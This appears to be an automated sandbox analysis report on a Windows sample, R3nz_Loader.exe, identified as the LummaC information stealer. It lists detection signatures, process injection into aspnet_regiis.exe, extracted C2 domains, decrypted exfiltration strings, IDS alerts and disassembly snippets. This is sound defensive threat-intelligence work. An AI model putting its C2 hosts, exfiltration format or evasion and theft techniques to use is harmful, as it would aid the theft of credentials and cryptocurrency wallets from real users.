Edit tour

Windows Analysis Report
R3nz_Loader.exe

Overview

General Information

Sample name:	R3nz_Loader.exe
Analysis ID:	1582077
MD5:	b43d8eca7777b170ddc40a824ab10bb6
SHA1:	a7da0bbde621a7df3489b394ee4e5cea963225e6
SHA256:	1db1a4c253278293c863dff9759c6577f1b6b5b8f69ac0c612338453eeea96d9
Tags:	exeuser-JaffaCakes118
Infos:

Detection

LummaC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected AntiVM3

Yara detected LummaC Stealer

AI detected suspicious sample

Allocates memory in foreign processes

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

Injects a PE file into a foreign processes

LummaC encrypted strings found

Machine Learning detection for dropped file

Machine Learning detection for sample

PE file contains section with special chars

PE file has nameless sections

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Writes to foreign memory regions

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to modify clipboard data

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains functionality to read the clipboard data

Contains functionality to record screenshots

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Drops PE files

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found inlined nop instructions (likely shell or obfuscated code)

Found potential string decryption / allocating functions

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

One or more processes crash

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Searches for user specific document files

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

R3nz_Loader.exe (PID: 2684 cmdline: "C:\Users\user\Desktop\R3nz_Loader.exe" MD5: B43D8ECA7777B170DDC40A824AB10BB6)

conhost.exe (PID: 6716 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

aspnet_regiis.exe (PID: 5780 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe" MD5: 5D1D74198D75640E889F0A577BBF31FC)

WerFault.exe (PID: 2676 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 2684 -s 1224 MD5: C31336C1EFC2CCB44B4326EA793040F2)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["noisycuttej.shop", "framekgirus.shop", "nearycrepso.shop", "wholersorie.shop", "fancywaxxers.shop", "abruptyopsn.shop", "tirepublicerj.shop", "rabidcowse.shop", "cloudewahsj.shop"], "Build id": "BVnUqo--@youngesstt"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000002.2233480373.0000000000A12000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security
00000003.00000003.2082382204.0000000002AE8000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.2236989771.000000006CF01000.00000004.00000001.01000000.00000007.sdmp	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security
00000003.00000003.2065068299.0000000002AE8000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: R3nz_Loader.exe PID: 2684	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: aspnet_regiis.exe PID: 5780	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: aspnet_regiis.exe PID: 5780	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: aspnet_regiis.exe PID: 5780	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Process Memory Space: aspnet_regiis.exe PID: 5780	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Click to see the 5 entries

Unpacked PEs

Source	Rule	Description	Author
3.2.aspnet_regiis.exe.2760000.0.unpack	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security
0.2.R3nz_Loader.exe.6cf01000.5.unpack	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security
0.2.R3nz_Loader.exe.6cf01000.5.raw.unpack	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security
0.2.R3nz_Loader.exe.6cee0000.4.unpack	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security
0.2.R3nz_Loader.exe.a10000.0.unpack	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-29T23:36:55.447181+0100	2028371	3	Unknown Traffic	192.168.2.5	49704	104.21.32.1	443	TCP
2024-12-29T23:36:56.516425+0100	2028371	3	Unknown Traffic	192.168.2.5	49705	104.21.32.1	443	TCP
2024-12-29T23:36:57.936435+0100	2028371	3	Unknown Traffic	192.168.2.5	49707	104.21.32.1	443	TCP
2024-12-29T23:36:59.137265+0100	2028371	3	Unknown Traffic	192.168.2.5	49709	104.21.32.1	443	TCP
2024-12-29T23:37:00.850104+0100	2028371	3	Unknown Traffic	192.168.2.5	49714	104.21.32.1	443	TCP
2024-12-29T23:37:02.386572+0100	2028371	3	Unknown Traffic	192.168.2.5	49715	104.21.32.1	443	TCP
2024-12-29T23:37:04.357809+0100	2028371	3	Unknown Traffic	192.168.2.5	49716	104.21.32.1	443	TCP
2024-12-29T23:37:06.910342+0100	2028371	3	Unknown Traffic	192.168.2.5	49717	104.21.32.1	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-29T23:36:55.916300+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49704	104.21.32.1	443	TCP
2024-12-29T23:36:56.980247+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49705	104.21.32.1	443	TCP
2024-12-29T23:37:07.362321+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49717	104.21.32.1	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-29T23:36:55.916300+0100	2049836	1	A Network Trojan was detected	192.168.2.5	49704	104.21.32.1	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-29T23:36:56.980247+0100	2049812	1	A Network Trojan was detected	192.168.2.5	49705	104.21.32.1	443	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-29T23:36:59.618823+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.5	49709	104.21.32.1	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://fancywaxxers.shop/YB	Avira URL Cloud: Label: malware
Source: rabidcowse.shop	Avira URL Cloud: Label: malware
Source: wholersorie.shop	Avira URL Cloud: Label: malware
Source: https://fancywaxxers.shop/api9Bd	Avira URL Cloud: Label: malware
Source: https://fancywaxxers.shop/api_	Avira URL Cloud: Label: malware
Source: fancywaxxers.shop	Avira URL Cloud: Label: malware
Source: https://fancywaxxers.shop/apiAB	Avira URL Cloud: Label: malware
Source: cloudewahsj.shop	Avira URL Cloud: Label: malware
Source: https://fancywaxxers.shop/X	Avira URL Cloud: Label: malware
Source: noisycuttej.shop	Avira URL Cloud: Label: malware
Source: https://fancywaxxers.shop/int32	Avira URL Cloud: Label: malware
Source: https://fancywaxxers.shop/api	Avira URL Cloud: Label: malware
Source: framekgirus.shop	Avira URL Cloud: Label: malware
Source: nearycrepso.shop	Avira URL Cloud: Label: malware
Source: https://fancywaxxers.shop/	Avira URL Cloud: Label: malware
Source: https://fancywaxxers.shop/n	Avira URL Cloud: Label: malware
Source: abruptyopsn.shop	Avira URL Cloud: Label: malware
Source: tirepublicerj.shop	Avira URL Cloud: Label: malware

Found malware configuration

Source: 3.2.aspnet_regiis.exe.2760000.0.unpack

Malware Configuration Extractor: LummaC {"C2 url": ["noisycuttej.shop", "framekgirus.shop", "nearycrepso.shop", "wholersorie.shop", "fancywaxxers.shop", "abruptyopsn.shop", "tirepublicerj.shop", "rabidcowse.shop", "cloudewahsj.shop"], "Build id": "BVnUqo--@youngesstt"}

Multi AV Scanner detection for submitted file

Source: R3nz_Loader.exe

ReversingLabs: Detection: 34%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Roaming\gdi32.dll

Joe Sandbox ML: detected

Machine Learning detection for sample

Source: R3nz_Loader.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 00000000.00000002.2233480373.0000000000A12000.00000040.00000001.01000000.00000003.sdmp	String decryptor: cloudewahsj.shop
Source: 00000000.00000002.2233480373.0000000000A12000.00000040.00000001.01000000.00000003.sdmp	String decryptor: rabidcowse.shop
Source: 00000000.00000002.2233480373.0000000000A12000.00000040.00000001.01000000.00000003.sdmp	String decryptor: noisycuttej.shop
Source: 00000000.00000002.2233480373.0000000000A12000.00000040.00000001.01000000.00000003.sdmp	String decryptor: tirepublicerj.shop
Source: 00000000.00000002.2233480373.0000000000A12000.00000040.00000001.01000000.00000003.sdmp	String decryptor: framekgirus.shop
Source: 00000000.00000002.2233480373.0000000000A12000.00000040.00000001.01000000.00000003.sdmp	String decryptor: wholersorie.shop
Source: 00000000.00000002.2233480373.0000000000A12000.00000040.00000001.01000000.00000003.sdmp	String decryptor: abruptyopsn.shop
Source: 00000000.00000002.2233480373.0000000000A12000.00000040.00000001.01000000.00000003.sdmp	String decryptor: nearycrepso.shop
Source: 00000000.00000002.2233480373.0000000000A12000.00000040.00000001.01000000.00000003.sdmp	String decryptor: fancywaxxers.shop
Source: 00000000.00000002.2233480373.0000000000A12000.00000040.00000001.01000000.00000003.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000000.00000002.2233480373.0000000000A12000.00000040.00000001.01000000.00000003.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000000.00000002.2233480373.0000000000A12000.00000040.00000001.01000000.00000003.sdmp	String decryptor: - Screen Resoluton:
Source: 00000000.00000002.2233480373.0000000000A12000.00000040.00000001.01000000.00000003.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000000.00000002.2233480373.0000000000A12000.00000040.00000001.01000000.00000003.sdmp	String decryptor: Workgroup: -
Source: 00000000.00000002.2233480373.0000000000A12000.00000040.00000001.01000000.00000003.sdmp	String decryptor: BVnUqo--@youngesstt

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe

Code function: 3_2_02775050 CryptUnprotectData,

3_2_02775050

Source: R3nz_Loader.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 104.21.32.1:443 -> 192.168.2.5:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.32.1:443 -> 192.168.2.5:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.32.1:443 -> 192.168.2.5:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.32.1:443 -> 192.168.2.5:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.32.1:443 -> 192.168.2.5:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.32.1:443 -> 192.168.2.5:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.32.1:443 -> 192.168.2.5:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.32.1:443 -> 192.168.2.5:49717 version: TLS 1.2

Source: R3nz_Loader.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: C:\Windows\mscorlib.pdbpdblib.pdb source: R3nz_Loader.exe, 00000000.00000002.2234322124.00000000012C1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\Desktop\R3nz_Loader.PDB source: R3nz_Loader.exe, 00000000.00000002.2234322124.00000000012C1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: %%.pdb source: R3nz_Loader.exe, 00000000.00000002.2233663238.0000000000EF9000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Desktop\R3nz_Loader.PDB source: R3nz_Loader.exe, 00000000.00000002.2233663238.0000000000EF9000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: mscorlib.pdb source: WER3C4D.tmp.dmp.6.dr
Source:	Binary string: mscorlib.ni.pdb source: WER3C4D.tmp.dmp.6.dr
Source:	Binary string: n0C:\Windows\mscorlib.pdb source: R3nz_Loader.exe, 00000000.00000002.2233663238.0000000000EF9000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdbLL source: R3nz_Loader.exe, 00000000.00000002.2234322124.0000000001339000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\mscorlib.pdb source: R3nz_Loader.exe, 00000000.00000002.2234322124.00000000012EC000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdb source: R3nz_Loader.exe, 00000000.00000002.2234322124.0000000001339000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\mscorlib.pdb8 source: R3nz_Loader.exe, 00000000.00000002.2234322124.0000000001326000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mscorlib.ni.pdbRSDS source: WER3C4D.tmp.dmp.6.dr

Source: C:\Users\user\Desktop\R3nz_Loader.exe

Code function: 0_2_6CEF4322 FindFirstFileExW,

0_2_6CEF4322

Source: C:\Users\user\Desktop\R3nz_Loader.exe	Code function: 4x nop then cmp word ptr [edi+ebx+02h], 0000h	0_2_00A706A0
Source: C:\Users\user\Desktop\R3nz_Loader.exe	Code function: 4x nop then cmp dword ptr [ebp+ebx*8+00h], D6EFB4E0h	0_2_00A706A0
Source: C:\Users\user\Desktop\R3nz_Loader.exe	Code function: 4x nop then movzx edi, byte ptr [esp+ecx+18h]	0_2_00A45E50
Source: C:\Users\user\Desktop\R3nz_Loader.exe	Code function: 4x nop then movzx edi, byte ptr [esp+eax-0002D61Ah]	0_2_00A71BB0
Source: C:\Users\user\Desktop\R3nz_Loader.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], 9AFAF935h	0_2_00A71BB0
Source: C:\Users\user\Desktop\R3nz_Loader.exe	Code function: 4x nop then mov ecx, edi	0_2_00A38F60
Source: C:\Users\user\Desktop\R3nz_Loader.exe	Code function: 4x nop then cmp dword ptr [ecx+ebx*8], 4B1BF3DAh	0_2_00A71960
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax+4F03650Ah]	3_2_02785A60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then mov word ptr [ecx], dx	3_2_0276D3E9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then mov word ptr [eax], dx	3_2_02775050
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then mov word ptr [esi], ax	3_2_0279D0CA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then mov byte ptr [edi], al	3_2_0278A8C6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then movzx eax, byte ptr [ecx+ebx]	3_2_0278208A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then mov edx, ecx	3_2_0279B150
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then mov ecx, ebx	3_2_0279B150
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then mov word ptr [eax], cx	3_2_02782E78
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then mov ecx, eax	3_2_0278BE6E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then mov word ptr [eax], cx	3_2_027787FE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], 9AFAF935h	3_2_0279FFB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then mov ebx, eax	3_2_0276CFA8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then cmp word ptr [edi+ebx+02h], 0000h	3_2_0279EC20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then cmp dword ptr [ebp+ebx*8+00h], D6EFB4E0h	3_2_0279EC20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then cmp dword ptr [edx+ecx*8], 9164D103h	3_2_0279ED50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then cmp dword ptr [ebx+edx*8], 6E87DD67h	3_2_0278AD45
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx+000001A4h]	3_2_02769D30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then mov byte ptr [eax], bl	3_2_0276DDBE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then mov word ptr [ebp+00h], 0000h	3_2_02785210
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then cmp byte ptr [ecx+eax+01h], 00000000h	3_2_02787200
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then cmp dword ptr [edx+ecx*8], E81D91D4h	3_2_0279F340
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then movzx edi, byte ptr [esp+ecx+18h]	3_2_027743D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then mov edi, edx	3_2_02769390
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+00000140h]	3_2_02777828
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then cmp dword ptr [edx+ecx*8], 7DA30DA1h	3_2_02777828
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then mov byte ptr [eax], cl	3_2_027690B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then movzx ebx, byte ptr [edx]	3_2_027950A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then mov ecx, eax	3_2_02783890
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then movzx edx, byte ptr [eax+edi]	3_2_02783890
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then movzx edx, byte ptr [ebp+ecx-20h]	3_2_02783890
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then mov edi, esi	3_2_02783890
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], 385488F2h	3_2_02783890
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then mov edi, dword ptr [ebp-60h]	3_2_02783890
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then mov ecx, eax	3_2_02788890
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+edi-73715825h]	3_2_02776146
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then xor eax, eax	3_2_02776146
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then movzx edi, byte ptr [esp+eax-0002D61Ah]	3_2_027A0130
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], 9AFAF935h	3_2_027A0130
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then jmp dword ptr [027A5774h]	3_2_0277712B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then mov byte ptr [edi], al	3_2_0278A90B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then movzx ecx, byte ptr [esi+eax-1B130B8Dh]	3_2_0276B909
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then mov word ptr [eax], cx	3_2_02787E5C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then movzx ebx, byte ptr [eax+edx]	3_2_0277E650
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then cmp al, 2Eh	3_2_02785E00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then movzx eax, byte ptr [esp+edx-0Fh]	3_2_02785E00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then cmp dword ptr [ecx+ebx*8], 4B1BF3DAh	3_2_0279FEE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then jmp eax	3_2_0276A2B5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then mov ecx, eax	3_2_0277B6CA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then mov ecx, eax	3_2_0278B6B5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then jmp eax	3_2_0276A6AA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+0Ah]	3_2_0277BE80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then cmp edx, esi	3_2_02798770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then mov byte ptr [edi], cl	3_2_0278CF71
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then mov byte ptr [edi], cl	3_2_0278CF71
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then mov word ptr [eax], cx	3_2_02788748
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then movzx esi, byte ptr [esp+ecx-000000A7h]	3_2_02779720
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then mov byte ptr [edi], cl	3_2_0278B710
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then mov ecx, eax	3_2_0278B710
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then jmp dword ptr [027A573Ch]	3_2_02776FF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then mov dword ptr [esp+02h], D264DC1Bh	3_2_027877F3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then jmp eax	3_2_0279CFD9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then mov edx, eax	3_2_0279B7C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 7F7BECC6h	3_2_0279B7C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then mov byte ptr [eax], cl	3_2_0278C78B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then mov byte ptr [edi], dl	3_2_0278C78B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then mov byte ptr [edi], cl	3_2_0278C78B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then mov word ptr [eax], cx	3_2_02787C36
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then push eax	3_2_0279C42E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then movzx edx, byte ptr [eax+ecx]	3_2_0279C42E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then movzx ebx, byte ptr [esp+ebp-000000D4h]	3_2_02783400
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then mov ebx, dword ptr [edi+04h]	3_2_02789400
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], 385488F2h	3_2_027984FF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then push eax	3_2_0279CCFF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then mov ecx, edi	3_2_027674E0
